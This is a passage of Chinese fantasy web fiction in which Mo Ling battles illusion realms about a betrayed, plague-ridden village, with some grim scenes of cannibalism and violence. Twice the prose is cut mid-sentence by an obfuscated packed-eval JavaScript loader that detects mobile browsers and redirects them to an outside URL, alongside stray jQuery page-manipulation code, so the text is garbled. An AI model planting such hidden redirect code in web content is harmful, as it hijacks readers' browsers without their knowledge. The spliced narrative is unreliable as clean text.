过去的柳池言大概也没想到人族的内心竟如此地出尔反尔。 他们爱财虚荣，贪生怕死，只需要用一点点法力控制所谓的瘟疫，就能骗取到人族稀有血液。 可报应也来得很快，外来自称老者的家伙开始质疑他的能力，贬低他为怪物，所谓的治愈才是真正的瘟疫，目的就是得到他们的血。 每句话似乎都有理有据，柳池言坐在所谓的神坛吃着那些贡品，丝毫不想理会那位老者。 因为他看到老者内心强大的嫉妒与恨意，这或许就是人族所忌惮的事情吧。 【外来者怎敢轻易得到我苦心也求不来的位置。】 可柳池言低估人族的团结，他们得到治愈开始怀疑你的用心。 集体准备火烧他的神坛，柳池言嗤笑一声，语气带着嘲讽：“老子虽在神明面前坏事做尽，但在他子民面前难得做一件好事却被如此冤枉，还不如一开始就杀了你们。” 人，决不允许出现认知以外的事物出现，哪怕是妖魔鬼怪到处积德行善，身上只要有一丁点的不足也仍得不到所谓的信任。 火，是他们自己点燃的。血液还给他们，瘟疫也一同还给他们。 失控的村落引来焚尽一切的火焰，无法逃离是必然的，他们的寿命本就耗尽，选择法力的支撑已是逆天命。 记忆最后一幕定格在柳池言冷漠的眼神，或许他也搞不明白神明的守护到底为了什么。 10. 幻境对峙 村民们因贪婪生得美好，却不愿再为此付出鲜血，所谓的神明降临彻底成为一个笑话。 莫凌伸手向那群傀儡扔出星刃，一道蓝光穿过大街小巷，划破人群虚假的嘴脸。 他发现，纯粹攻击效果很是微弱，探不到梦境边界，更没有可突破的点。 而它们对物理攻击免疫大半，身上被击中的伤口很快就恢复，继续毫不知情地行走。 直到星刃飞回到他掌心化成星光的刹那，他脑中顿时被释放大量记忆碎片，无限循环那极致的痛苦与不甘。 莫凌皱起眉头，扶着额头脚下差点站不稳，闭上眼睛强忍着这一瞬的不适。 村民们厉声的话语在他脑海中回荡： “我还不想死啊！您不是有法力无边吗？为什么不救我们！” “什么神明，你就是个自私自利的怪物！凭什么不放我们离开这里！” “烧了他！神坛的位置可不能被这种怪物玷污！” 莫凌缓过神后，意识到幻境的核心或许是一场对人性的考验，更是一场对人族的认知。 摧毁的关键并非否认这些记忆，而是需要赋予终结。 他重新回到村落，银色的发丝在这片昏暗的世界里像一道劈开混沌的冷焰，随着他步伐深入，周身渐渐萦绕起一层极淡的微光。 他无视身边所有傀儡，再一次回到祠堂前。 越靠近那里，周遭的人声便越发扭曲拉长，脚下的青石板缝隙里渗出并非水渍，而是暗红色的光晕，每一步都像是踩在尚未凝固的血痂上。 祠堂在这里时隐时现，仿佛与人群隔绝一般，周围村民也对此视而不见，甚至下意识绕行。 莫凌抬起手刚想做些什么时，红岭村场景突然开始加速重现人们从繁荣到瘟疫、从信奉柳池言到背叛焚烧的过程。 现在他不再是旁观者，而是被强行拉入梦中，以另一种方式亲身去体验他们的希望、恐惧、贪婪与绝望。 “大人求您救救我们吧。” 他的脚边忽然出现浑身脏乱的难民，蜷缩在草席上，肩胛骨突兀，锁骨下凹，皮肤下根根分明的肋骨都清晰可见。 幻象给予他神明降临的身份，再次面对人们对瘟疫的无助与祈求。 莫凌垂眸，目光在那污秽与乞求的人身上审视片刻。 随即，他抬脚将那人踹开，语气听不出任何波澜：“脏死了。”说罢，身影已融入黑暗的街道，未再回头。 身后的那个人被踹开还想试图爬过去抓住他，但却被一股突如其来地力量彻底绞杀。 他听到那声嘶吼般的惨叫，更知道，不是噬青动的手。 更知道若选择救人，就会有更多的人抓着他不放，如同恶鬼索命一样，永远得不到满足。 重复历史，被治愈的村民再次因猜忌而反噬而亡。 身边的场景继续变化着，他的冷眼旁观，目睹到未存在历史的一幕，村庄的人们在痛苦中消失，耳边响起无数对他的指责，以及恶言诅咒。 这一次，莫凌被带入质疑柳池言的老者身上，身后一堆被他说服的村民跟随着。 将他们带领到祠堂前仰望着躺在神坛喝着鲜血的柳池言，瞬间感受老者身上心中充满未知的嫉妒与恐惧。 他没有继续煽动村民，而是静静地站在人群中听着那些刺耳的话语，仿佛柳池言是一个罪恶滔天的人。 将他捧上天的是村民，最后将他摔下坛的亦是村民。 老者这个角色莫凌没有开口说一句话，但村民们却可以借机说出内心更多的不满，无论什么选择都导向已知的悲剧结局。 他看到的不是人们贪婪，而是得到解救后不愿再被拘束的抗拒。 大火还是被点燃了，莫凌屹立在人群中，看着他们逃亡痛苦地绝望。 “你的选择会和我一样吗？摧毁这里，永远地占为己有？” 莫凌身体一震，闻声转身看向站在火焰中的柳池言。 他表情冷漠，仿佛已经看淡大火中的悲哀，但又从未走出这个村落。 “摧毁？”莫凌玩味地重复他的话，嘴角勾起毫无暖意的弧度，“你说得对，共情的闹剧实在令人心烦，也该由我落幕了。” 话落，他抬起手，指节轻轻一扣发出一声清脆的响指，音波荡开的涟漪中，青色的丝线在空中交织在一起，噬青的身影从他身后的阴影中凝结而出。 “他们的自作自受为何要我替他们感到惋惜，弱者没有能力活下去就不要企图上天给予他们恩惠。”莫凌话音刚落。 噬青被遮住眼睛依旧可以听从命令攻击，抬手挥起劣魂斩猛地向幻象的四周砍下，彻底平息这股嘈杂的怨气。 “柳池言这场梦是你的贪婪导致的。” 莫凌抬头直视柳池言的眼睛，讽刺道：“人类的血很好喝对吗？僭越规则的是你，玩弄生命的也是你。” 所以，贪婪者都该死。 噬青斩落的瞬间，整个燃烧的红岭村幻象并未瞬间崩塌，而是如镜子般片片破裂。 他眼前的柳池言也消失不见，依旧是假的。 碎片剥落后，噬青回到他袖中，外面的世界并非诡异的古宅，是一个虚无的白色空间。 这里没有光影之别，无法辨别方向，纯白延展至视野与感知的尽头。寂静无声，他站立于此，连自身的重量与存在都变得可疑，仿佛思维是这片虚无中唯一能保证清醒的证据。 柳池言的声音在白色空间里回荡：“你审判他们为贪婪，那么，你就没有所贪婪的吗？” 莫凌站在原地保持沉默，没有回答。 柳池言的声音持续钻入他的脑中：“你所渴望的，所执着的，又或许你所追求的强大，与你鄙夷的弱者所渴望的活着，在本质上有何不同。” 莫凌依旧不理。 与此同时白色空间因柳池言那些质问而变：“就让我看看，被人背叛的你又会是什么感受？” 他眼前展现出苍裂枭将所想知晓的答案彻底碾碎，话语满是不屑：“你也配和我交易？” 莫凌对这场景毫不意外。 紧接着身旁又展现出噬青的金眸刺破缚目带，冰冷地直视他：“害怕我看清你内心的谎言吗？” 不等他反应，身后出现一个与他容貌相似、气质却比他更冷淡悲悯的白衣少年，手持长枪指向他：“沉睡才是你最终的归宿。” 莫凌听到这句话身体颤抖了一下，双手在身侧紧握成拳。 “看啊，你也怕有人看透内心吧。”柳池言话音未落，一道蓝光向他声音方向刺去彻底噤了声。 莫凌手持双刀，目光看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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眼神唯有深潭般的冷静与一丝明悟，有些挣扎即便表面冷淡至极，但身体依然记得。 在他不知道的木门内，正有一双血红的双眼盯着他，并非纯粹的监视，而是某种蓄谋积极的仇恨和杀意，不禁令他浑身一颤。 莫凌谨慎地收起玉佩四处打量着那股恶意从哪传来，却怎么都找不到。 ----------------- “大人，在下失败了。” 客堂内，忆魂魔低着头单膝跪在苍裂枭面前，等待着他的处罚。 “失败了？”苍裂枭像是听到什么可笑的事情，目光望着窗户外面的莫凌忽然大笑起来。 忆魂魔听到他的笑声脸上只有害怕，大气都不敢喘。 苍裂枭走到他面前，轻轻拍了拍他的脑袋：“怕什么，杀一个人本就会失手。” “大人，我…”忆魂魔刚抬头话还没说完，一把镶着烈火的砍刀降下，直接砍掉它的脑袋。 鲜血飞溅，染红了苍裂枭的半边脸：“但，我不会。” 他的声音瞬间变得冰冷，收起砍刀后，从容不迫地走到面前的椅子上坐着，手背抵着流淌血液的下巴：“竟然在无意中暴露那么多事情，真是成事不足败事有余。” 忆魂魔跪在原地的身体在空气瞬间化为灰烬，风一吹就散了，连回到《冥妖卷》的资格都没有。 苍裂枭擦去脸颊血渍，目光紧盯眼前那扇木门，仿佛能透过这扇门看到庭院正在休息的他：“本王倒要看看，你的命能被她保护到何时。” 新一轮棋局开始了，黑为杀，白为守，血棋立中。 悸宛清，我们走着瞧。 11. 空间错乱 莫凌在无意识中坠入了更深层的梦境，古宅庭院的空间开始发生错乱与折叠。 并非鬼打墙式的幻觉，而是有规则的扭曲，回廊的尽头连接着天际，而退后一步，便是坠向数丈深渊的枯井。 柳池言的能力总是喜欢这般悄然潜入，他的本体依旧隐秘无踪。 莫凌多次在错位的缝隙中穿梭，渐渐地他迷失了方向。更令人心悸的是星落唤不出，劣魂斩也感应不到，一身法力在体内也开始不断消散。 空间的扭曲毫无规律，光怪陆离，稍有不慎就会被其吞噬，他唯有不停地奔逃。 而俯瞰这梦境的不仅仅是柳池言，更有某双燃烧仇恨的眼眸，似乎正透过扭曲的虚空，冰冷地锁定他渺小如蚁的身影。 柳池言站立在苍裂枭身后，歪着脑袋笑眯眯地说道：“大人的趣味还真是独特，放出鱼饵竟不急于捕捉，竟想看同类间谁先割断对方命脉。” 苍裂枭没有回答，也未曾回头，只是对着空间摊开手掌，妖火从天而落，无声漫出，一寸寸吞噬着莫凌所在的区域，将他无意地逼向更危险的区域。 他试图将火焰与空间扭曲重合，制造一场能意外将他绞杀的戏码。 不知过了多久苍裂枭才停手：“我从不放过任何对我有利的条件。”忽然他露出惊讶的表情，像是看到了什么，暗中笑了笑，慢慢收回手。 “但若是有趣的对手，我不介意这条鱼在岸边活得更久一点。” 柳池言没理解这句话只是笑而不语，直到他余光瞥到空间内从某个角落爬出来的莫凌，神情一愣。 他的衣摆除了被火焰灼烧过的痕迹，一丝被威胁的感觉都没有，甚至利用妖火的破坏，很轻松的找到幻境核心所在位置。 不等柳池言反应过来，苍裂枭对着幻境施下三重困局，不怀好意地笑了笑：“现在，就看这条鱼还能在岸边翻腾多久。” ----------------- 破碎的空间里难得平静下来，脚下是古宅的影子，身边依旧纯白一片。 他谨慎地走在空间中，直到前方出现凝固在半空中的时间碎片，散发着□□腐烂的气息，又如同精心安排他入局的诱饵。 里面不是所谓的贪婪、背叛，而是处于绝境下的绝望。 莫凌伸出手轻轻触碰碎片本身，一股强大的吸力吞噬他的手，无论怎么挣扎都无济于事。 霎时间，他整个身体直接被拽进碎片中。 在一片恍惚下，莫凌缓缓睁开眼睛，他左看右看，周围的景象很像红岭村，但却脏乱无比，毫无生机。 路边坐满了干瘦如柴的人族，他们身上似乎都有被火灼烧的痕迹。 路中间有女人跪在地上仰着头，嘴里念念有词，仿佛在向天祈祷什么。 远处的男人爬到红岭村大门，抬手向空气不停地砸，嘴里呜呜的，他好像说不了话，也出不去。 莫凌想起之前共情的记忆，这似乎就是几百年前无人知晓的红岭村。 【民间曾有一个传闻：红岭被一场大火覆灭后，无人生还，连骨头都找不到。但总有不怕死的人前去探索，想着从废墟中探宝，可是他们耳边总是出现人们的哭喊声。 越往里面走这种鬼叫声越强烈，听说有的进去后再也回不来了，永远被困在里面。 哪怕只是路过村口都能听到不停拍打的声音，引导你走进去。】 村民坐在肮脏的地面，喝着掺有污泥的清水， 而死去的应该就是闯入者，就这样被丢弃在路边，身体发臭，□□溃烂，似乎成为了这里唯一的粮食。 莫凌利用屏障保护自己，一步步走过，躲开地上肮脏的泥土。 远处墙角下，一位母亲将最后的食物塞给孩子，而她化为空间背景里一道逐渐淡去的影子。 青年在错乱空间大笑狂笑，将扭曲视为神迹，最终坠入虚无。 莫凌思索片刻后，好奇闯入者是如何而死的，他们身上的衣服有明显撕扯痕迹，□□也不是自然腐蚀，反而像是被什么东西啃咬。 细思极恐的想法从他脑海中一闪而过，身体僵在原地，为了证实自己想法，莫凌伸出手对着路中央用法力唤出一个小鬼假扮路过的人族试探。 不出所料，那些瘦弱如柴的身影瞬间被点燃。 女子扔开怀中的孩子；男子拿起石头狠狠砸向同类的头颅；无数只脚踩踏着倒地者的身躯，织成一张向上攀爬的蛛网。 只为争抢那团被撕碎的假象，他们踩着同类的身躯，吃着同类的血肉。 有人抢到最大一块肉，跌跌撞撞地从人群中逃掉，躲到隐秘的地方偷偷吃。 有人只能吃到一口鲜肉，但他们却不愿起身离开，就地坐在他人身上，在撕咬与咀嚼中拥有短暂的美好，一点也不担心会被别人抢走。 而被压在地面的人群他们无法起身，也没有任何挣扎，反而将地上的肉渣混在泥土里疯狂塞进自己口中。 仿佛吞咽本身就是活着唯一证明。 不过半个时辰，盛宴结束。他们又回到最初的位置，继续砸空气、喝脏水、哄孩子... 仿佛刚才那场人吃人的狂欢，只是这片土地一次短暂的呼吸。 莫凌面不改色，就这样静静地站在一旁看着他们，空气中腐臭的味道仿佛穿透他的屏障进入鼻中，恶心至极。 那一刻，人们心中都不约而同渗透出恶意，那是村民急于对求生的执着而产生的怨灵。 “果然。”冰冷的声音响起，“剥离了文明与道德的伪装，人族对生命的本质不过如此。” 没有理智，只是疯狂地吞噬一切所有踏进这里的活物，来维持他们还活着的假象。 柳池言，这就是你对我的考验吗？ 简直毫无新意。 他心中只感受到一种厌倦的情绪，保护这样的存在，有何意义？ “没想到步入人界还有比恶妖更蠢的存在。”莫凌语气充满讽刺，唤出劣魂斩，噬青随之化作青丝缠绕在刀柄。 “但可怜的戏码演绎第二次，就只剩恶心了。”话音刚落，他冷眸微抬，抬手挥起镰刀向众人身上的怨灵骤然砍下。 悲哀一旦沦为重复的景观，便与戏台上拙劣的表演无异。 黑色魂灵受到冲击都逃离般地从躯壳脱离，随后它们像是闻到莫凌身上纯粹的法力被吸引，一个个从四面八方开始袭击，但都被他的屏障阻挡在外。 莫凌刚想用劣魂斩将他们全部斩杀，但镰刀内的死神却完全不听命于他，反而噬青的身体从武器中被迫脱离站在他面前：“大人？” 他看着噬青疑惑的模样，显然并不知发生了什么，死神将自己灵识给了噬青，想要施展全部能力只有被认定的人才有资格。 那刚刚他挥出的一斩，可能连一成功力都没有施展出来。 莫凌皱着眉头，盯着手中变得沉重的镰刀，甚至掌心能感受一股被侵蚀的疼痛感。 他以为自己已经驾驭死神之上，误 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“收！”噬青一声令下，劣魂斩发出刺耳的轰鸣声，强大的吸力将这些人们内心最污浊、最自私的魂灵视为一种能量，回看一望无际地忘川，回到满是绝境地彼岸。 彻底被炼化、吸收，为我所用。 待所有魂灵全部消失后，劣魂斩的死亡气息愈发浓烈，随后这股气息渐渐褪去。 噬青伸手稳稳抓住它，刀身的轰鸣反向涌入她灵体，让她的内心能够清晰地意识到，恶念的尽头本就是死亡，而死亡，本该驾驭在公平之上。 与此同时，这片肮脏的地方也因为魂灵消亡，终于有阳光突破阴云照射进来，地上那些维持着扭曲姿态的人们，在光线下瞬间化为一堆散落的白骨。 河水干涸，房屋破乱，杂草遍地。原本望天祈祷的女子，尸骨却是低着头一副认命的样子；原本抱着孩子的女人，怀里却是一堆石头；原本错乱在时空中的男子，也不过是掉落枯井中，再也出去了。 莫凌站在远处将噬青做的一切都尽收眼底，他并不在意幻境发生什么。 他只看到了那个认主的武器，无论主人经历了什么，成为了怎样的下属，受过怎样的侮辱，依旧会选择跟随，甚至是永远。 一切都是如此麻烦地存在。 ----------------- 幻境外的苍裂枭也对噬青的出现感到震惊，原本他很是期待莫凌能够愤怒或痛苦中解决这一切，但看来他想错。 第一次杀局被暴力破解，还是被一个不相干的刀灵，苍裂枭非但不怒，嘴角反而勾起一丝近乎愉悦的弧度，眼中兴味更浓：“有意思，将矛盾转移到他人，看来比我想象中更自私。” 说罢，他回头看向因被劣魂斩破虚妄无差别攻击到的柳池言，还在默默调理身体，这一击差一点透过幻境击伤到他本体。 “这一局，你输了。” 柳池言听到这句话身体一震，猛地抬头看向他，强行挤出一抹笑容：“第三重幻境还没碎，谁赢谁输还不定呢。” 苍裂枭像听到什么笑话一样，沉声笑了一下，却什么也没说。 “一切都还在继续，下一重考验可就没那么简单了。”苍裂枭对着幻境再一次使用法力。 他很喜欢猎物被玩弄于股掌之间的雀跃感。 跑吧，跑吧，等你知道真相后，说不定已经死在我精心安排的牢笼之中。 12. 杀意渐显 幻境随着莫凌的破局，周围场景变得扭曲，缓缓下沉，坠落在黑暗中。 莫凌收回劣魂斩后，根本共鸣不到刚才被吸收的强大力量，似乎只有噬青可以。 他沉默片刻，催动体内星落，以纯净的法力将噬青本身能力禁锢，防止她趁机觉醒与自己交手。 接下来，幻境像拼图一样给他指明方向，莫凌略一迟疑，但无奈选择继续前行。 空间第二层开始了，这次的场景不再是红岭村，而是陌生的深山中，仔细一看似乎与云漫有几处相像。 树林寂静，一声鸟鸣都听不见，温暖地阳光透过树木洒在堆积的枯叶上，呈现出金黄色的假象，但却毫无暖意。 莫凌沿着山路很是谨慎地走上去，生怕遇到奇怪的东西偷袭。 所有光束瞬间聚焦在远处山林深处，是一个草房子，门口坐着一位老人，扇着蒲扇喝着茶水，十分享受的模样。 莫凌走近一看，正是那位最初号召大家信奉柳池言，又是享尽美好最后带动村民悲愤的情绪换取自己高高在上地位的老者。 他深有疑虑，偷偷将手背到后面，抬指间试图利用星刃读取那位的心境，没想到那位老者缓缓抬起手挡住了藏匿在空气中的攻击。 “小子，面对老人应先学会尊老。”老者声音很是沧桑，摆了摆手将武器推了回去，然后抚摸自己为数不多的胡子。 “你不是人族？”莫凌收回星刃问道。 老者笑了笑，放下蒲扇不紧不慢地站起身，走向他：“我可以是人，也可以是妖。” 说罢，他面部随即发生改变，变成丑陋的蜥蜴头。 “更可以是你。”莫凌看着他的脸又变成自己的模样，就像照镜子一般神奇。 随后，他又变成原先的老人：“所以来到这里，就不要定义这些无关紧要的东西。” 莫凌无话反驳。 “不过，我这一把老骨头向来不喜欢打打杀杀，你若想离开这空间，也是要做出选择的。”老人再次扇动他的蒲扇。 “什么选择？”莫凌追问道。 老人笑而不语，在一片空地蒲扇轻轻一挥，红岭村出现在自己面前。 他们站在山顶仰望着熙熙攘攘的人群，正是处于瘟疫泛滥时期。 “你已知晓当年的真相，如果给你一个降临人群的选择，救还是不救？” 老者抛出一个关于道德问题，莫凌犹豫了。 救，结局就和当年柳池言一样，从绝望到希望，从狂喜到背叛，再到为自保而生的极端自私。 不救，那么他便是以一面之词，陷入柳池言的心境，理解并同情，从而模糊仇恨与鄙夷的界线。 莫凌没有急于给出答案，而是全程近乎理性旁观，即便共情带来些许情绪波动，但也被他强行压制。 “救与否都是无解之谜。”这个答案让老者有些意外。 “他们信奉柳池言是在绝望中无措之举，毕竟在死亡面前活着是唯一选择；而他们背叛柳池言是因恐惧超过希望。”莫凌道。 老者识趣地听他娓娓道来。 莫凌继续说着：“当人群中突然出现一位神使，人们心中先是得到盛大的欢愉，但伴随时间推移，人们对他的出现开始评头论足，好奇他身上每一处，他的血，他的肉，甚至怀疑他会不会对自己产生威胁。” 老者对他的话表示认同地点了点头：“可人族的力量又怎么可能强于神明？” “一切观点在于有人趁机放大了恐惧。”莫凌话音刚落，目光立马投向他。 老者手中的蒲扇停止了扇动。 “道德在生存面前一文不值。”莫凌直接一语道破，“我想你刚刚喝的并不是茶水，而是人血。” 老者面不改色继续扇着蒲扇，但节奏明显乱了。 “扮演神明，享受他们从希望到绝望的过程，看着信奉的羔羊因你随手放大的谣言而失去生命，最后互相撕咬。”莫凌声音压得很低，却满是讽刺。 “想必这茶水一定很可口香甜对吧？” 面对质问，老者的笑容僵在脸上，那张皱巴巴的人皮开始泛起不自然的涟漪。 莫凌的心智从未被眼前的假象侵蚀，反而更加冷静地寻找破绽，他看透了这幻境的本质。 一直在试图让他心软，去拯救，去净化，去还给人界一片净土，貌似吃定了他手中星刃会被迫共情这一点，一步步地把他推向深渊。 可是，他们本就因为自私失去了生存，为何要让自己费尽心思牺牲法力为代价去拯救？ “今日我若流出一滴血，明日就是牺牲一条命。”莫凌话音未落，眼眸闪过一丝危险，不知何时唤出双刀迅速向旁边击去。 老者眼疾手快地用蒲扇挡住，莫凌紧盯着对方的脸，故意放缓语气，十分肯定地说道：“不过你的法力已经将自己暴露了，我说得没错吧，柳池言。你亲自来到幻境不仅仅是为了让我做选择，而是想在选择中杀了我。” 老者面无表情地看着他，随即扯出一丝笑意：“不愧是追随妖王的人，但你遗漏了一点，过去的老者也是我。” 面皮脱落，皱巴巴地脸下是一位清俊的少年，脸颊上红色的花纹一直蔓延到锁骨处，深色的眼眸透露出狡黠的目光。 “要知道，你现在所能看到的只是我想让你看到，你所看不到的才是真正的答案。”柳池言轻声回答，蒲扇绕剑，拍开他的双刀，场景回到树林中。 他倒手拿扇，展开猛地一扇，一阵风吹去彼此都拉开距离。 莫凌刚想上前准备继续，柳池言已不见踪迹，空气中回响着他的话语：“在这里你的对手可不是我。” 微风吹过，他的头顶突然掉落一片银杏叶，莫凌抬手将其拿下。 下一秒，他手中的叶子燃起黑色的火焰，银杏叶以肉眼可见的速度燃烧在他掌心化为灰烬。 莫凌眉头微皱，侧过头察觉到身后有动静，侧身躲避突如其来的攻击，熟练的召唤出星落，手腕转动，双刀交叉抵挡住从天而降的黑影。 武器的碰撞诞生火花，充满杀意。 莫凌目光微转，双手一斩，在一波冲击将敌人击退数米，自己也趁机翻身与他拉开距离。 定睛一看，对方的身上散发着奇怪的法力，黑雾缭绕将他的脸挡住，高大威猛的身姿，以长枪为武器。 看着不像是幻境中的人，而是来杀他的。 莫凌谨慎问他：“你是何人？” 对方没有回应，将手中的长枪对准他，猛然一挥，一团雾气瞬间化作万条巨蛇开始追逐他。 莫凌知道多说无意，是铁了心想要杀了他。 面对雾气化形的巨蛇，莫凌只能先四处躲避先让几条蛇扑空，这也导致庭院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535314|203793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几处造成轰炸。 面对穷追不舍的巨蛇，他握紧手中地星落，看准时机腾空起跳，双刀护身原地起转，胸前环斩，火光冲天，巨蛇随之被切断消灭。 莫凌趁对方不意闪现直击背后，伸出手掌凝聚法力准备狠狠打出一击。 对方瞬时在身前提枪，双手抓住枪杆，身前放横拦住。 莫凌咬着下唇与他硬碰硬，眸光微转，不经一瞥的对视，瞬间被对方的眼睛定了神。 那双瞳孔，燃烧着妖火？！ “走神了。”对方借机一个转身走回马枪，枪头立马向上托起刺向他胸膛。 莫凌被这一击打破他法力屏障，巨大的冲击力将他推出数米远，重重摔在地上，胸口遭受重击，一口鲜血吐出。 对方实力过强，自己也因法力过度对抗有些吃力。 莫凌擦去嘴角鲜血，捂着胸膛忍受疼痛气喘吁吁地站起身：“你是妖界的人？” “还不算傻。”对方眼中不由多了几分兴致，他的手掌凝聚法力，黑色的雾气附加在长枪身上，“但再聪明也活不过今日了。” 手腕打转，左臂在空中接住又扔起，右手推动后把，枪尖贴于地面磨出火花向前刺出。 莫凌快速向后退几步，脚踩住枪尖，对方双手用力提起，二人同时在空中翻跃、落地。 对方稳住身形，枪势一凝，再度刺去，莫凌伸手隔挡，虎口崩裂，鲜血顺着星落的刀锋滑落。 见他没完没了得想个办法逃离，但自身法力又远在敌人之下。 如果贸然施展劣魂斩，现在的法力根本压不住死神的意志，噬青也有可能趁机脱离他的掌控，只能先以防御为首。 枪尖擦过肋骨飞溅出鲜血，莫凌踉跄后退半步，视野开始发黑。 握住双刀横在自己上方做最后的挣扎，对方长枪继续下压，莫凌双腿无力直接跪在地上。 要死在这了吗？死在这莫名其妙的幻境中，死在连面目都不知的枪下？ 对手空出一只手，法力聚集后准备一掌拍下。 莫凌眼中满是惊恐，就在他以为无处可逃时，腰间的玉佩忽然施展出大量法力筑成屏障将他保护其中，对方瞬间被击退。 下一秒，对方的额头似乎被人用指尖轻轻一点，神志秒被击溃。 弯月落泪，金光乍现，恶念吞噬，黑暗消散。 时间仿佛凝固了。 光芒笼罩整个幻境中，莫凌跪在破碎的幻境中，咳出献血后，顺着金光仰起头看去。 一位身穿白金衣袍的女子护在他身前，强大的气场安抚了他内心的焦躁不安，紧紧只是一个背影也是如此惊艳，让他有些移不开眼。 甚至来不及去看已经被杀的尸骨无存地敌人。 银白的发丝挡住了面容，没有言语，她只是微微侧过头，那股清冷地气息伴随着温柔，目光冷漠如霜，却蕴含着一丝威严。 一股难以言喻的心动与痛苦同时击中他的心脏。 痛，并非来自身上的伤口，而是灵魂深处反应出自己曾经遗忘的瞬间。 “你...”他声音沙哑，半天说不出一句话。 法力消耗过度已经十分虚弱了，面前一片模糊，用最后一丝力气说出心中的疑问。 “是谁...”话音未落，意识渐渐被黑暗吞没，身体再也撑不住了，直接倒在地上。 13. 心魔试炼 空间破碎，庭院显现。 柳池言因强大的法力出现，幻梦的能量无法压制，第二次遭受反噬重创，元气大伤，只能逃到庭院外进行修养。 而苍裂枭也因此错过施展第三困局的机会。 一切都失败了，彻底的失败。 他们怎么也没想到，竟然会有外人介入如此森严的幻境。 苍裂枭坐在院中努力压制住身体内躁动不安的法力，额头不停冒出冷汗，紧闭双眼，一次反噬让他在人界所能施展的力量再次大大缩减。 不知过了多久他才缓缓睁开眼睛，血眸在黑暗中亮了一瞬，神态凛然。 他看向庭院宅门，没有柳池言回来的踪迹，片刻后又望向眼前被封印的莫凌。 莫凌从幻境出来后就横躺着悬浮在地面，被层层结界守护着，他的四周环绕着封印的符文。 很显然，这是有人在幻境中暗中布置的，为了防止他再次被人袭击。 苍裂枭缓缓站起身，悄声走近，他垂眸透过屏障瞥了一眼，确认是死是活。 莫凌脸上毫无血色，衣衫上的血迹也已干涸，身上的伤势也已消失不见。 但神志却被一股强大的法力护住，像是故意让意识沉入昏迷状态。 玉佩在他靠近的时候闪烁出金色光芒，似乎在保持戒备，他盯看许久后，眼神复杂，道：“一缕神识也想扰乱我的计划。” 苍裂枭伸出手，掌间妖火燃起，紧接着莫凌胸口处的契约纹路骤然亮起红光，道：“我绝不会让猎物有任何机会脱离我掌控。” 火焰渐渐演变成一团黑火在空气中燃烧，照亮了他半边脸，神情淡然，低沉的嗓音充满威胁：“就让我来搅乱你美好的梦吧，就像当年一样，成为该死的罪人。” 他抬手一抛，黑火如活物般穿过屏障，钻入了他的胸膛，开始侵蚀着莫凌的意识。 第四夜降临了。 黑火如同一滴浓墨，在莫凌意识的深海坠落，最后在一片静水中晕开。 顺着记忆的缝隙探入，迎来的是无尽的下坠。 莫凌感觉自己掉落到了黑洞中，没有上下，没有光暗，而是由无数破碎的画面和声音组成的漩涡，正一点点塞进他的脑海： 震耳欲聋的喊杀声里夹杂着一缕极轻的叹息；一张张面孔闪烁不定，有憎恨、哀求、冷漠，还有一双清冷的眼眸闪过，让他心脏猛跳，而她的面容又是如此模糊。 莫凌试图凝聚意识，却发现自己的存在在这里变得如此稀薄，就像这些碎片中的一缕游魂。 他迷迷糊糊地睁开双眼，发现自己正站在一片虚空之中，无数画面环绕在四周，都是五百年间的记忆片段。 直到黑暗尽头有一个模糊场景被锁链困住，莫凌好奇地想要走过去，忽然，脚下的碎片伸出一只黑手抓住他的脚踝，整个人就这么被拽入其中。 莫凌跌落到一片荒原中，但身上并没有疼痛感，反而自己变得很是透明，更像是灵魂。 他站起身望了望周围，还没有反应过来，转眼间被面前的一幕定在原地。 一棵巨树被熊熊烈火燃烧着，连同天空也被染成通红的颜色。 地上都是罕见的粉紫色叶子，紧接被火焰化为灰烬。 粉紫色的巨树... 莫凌直接呆愣在原地，眼眸颤动着，张了张嘴却一个字也说不出，在他潜意识里一直都有这棵树的影子，莫名地与他产生共鸣。 他的灵魂被树下的两个人影所吸引，银色长发的男子抬头见竟与他眉眼有几分相似，正伸着手臂，后背裂开的伤口正渗着血，可他完全不顾这一切，带着一丝坚决继续向前走。 “...这一切不过是我自食其果罢了。”男子声音几乎是沙哑状态。 “你说过...要先爱这个世界，才会爱我。”男子抬起染血的手，可就在即将触碰到对方时，动作却是一顿，最终只能无力地垂下手。 他嗓音沙哑：“是我...把你的世界弄脏了，对不起。” 莫凌站在原地望着这一幕，以为对方会回应一句话或者绝情的推开他，结果什么都没有，只是陷入了长久的沉默。 就在他以为这场记忆要在这里戛然而止时，眨眼间，一道金光骤现从眼前掠过。 莫凌瞬间睁大双眼，那一瞬他的心脏几乎停止了，忘记了呼吸，满脸不可置信的模样。 瞳孔倒映着一柄陌生又熟悉的长枪突兀地从前方刺穿男子胸膛，鲜红的血液顺着枪尖不断往下流淌。 男子倒地后显露出持枪者的身影，与在幻境中将自己救下的女子缓缓重合。 她手持长枪安静地站在燃烧的树下，低着头不知是在看着男子消亡的尸体，还是在沉思什么。 熊熊烈火似乎无法伤及到她，看不到她的表情，甚至一滴泪水也没有。 而作为旁观者的莫凌，此刻感到的并非恐惧，反之，这一幕让他心中涌起一丝无法言喻的愧疚与无力感。 但更多的是心痛，仿佛痛得要将自己这缕意识冲散了。 “看啊。”心魔化作他的模样贴在他耳畔低语，“上辈子，你的灵魂被所爱的人亲手了断，这一次，你还要为那相似的气息再一次动心吗？” 他的心脏仿佛被心魔紧紧攥在手中，一旦动摇，那把长枪下一秒或许指向的就是自己，死亡的也会是自己。 “你还在犹豫什么，不是想变强吗？想想苍裂枭五百年间是怎么对你的！想想这天地是如何待你的！这三界的规矩本就是向强者低头的。”心魔的话像根毒刺一样扎进他心里。 随后，诸多的身影在他面前出现，有苍裂枭鄙夷的表情、有妖界看不起他的众人、有不认可他的死神，以及藏匿在人群中背对他的女子。 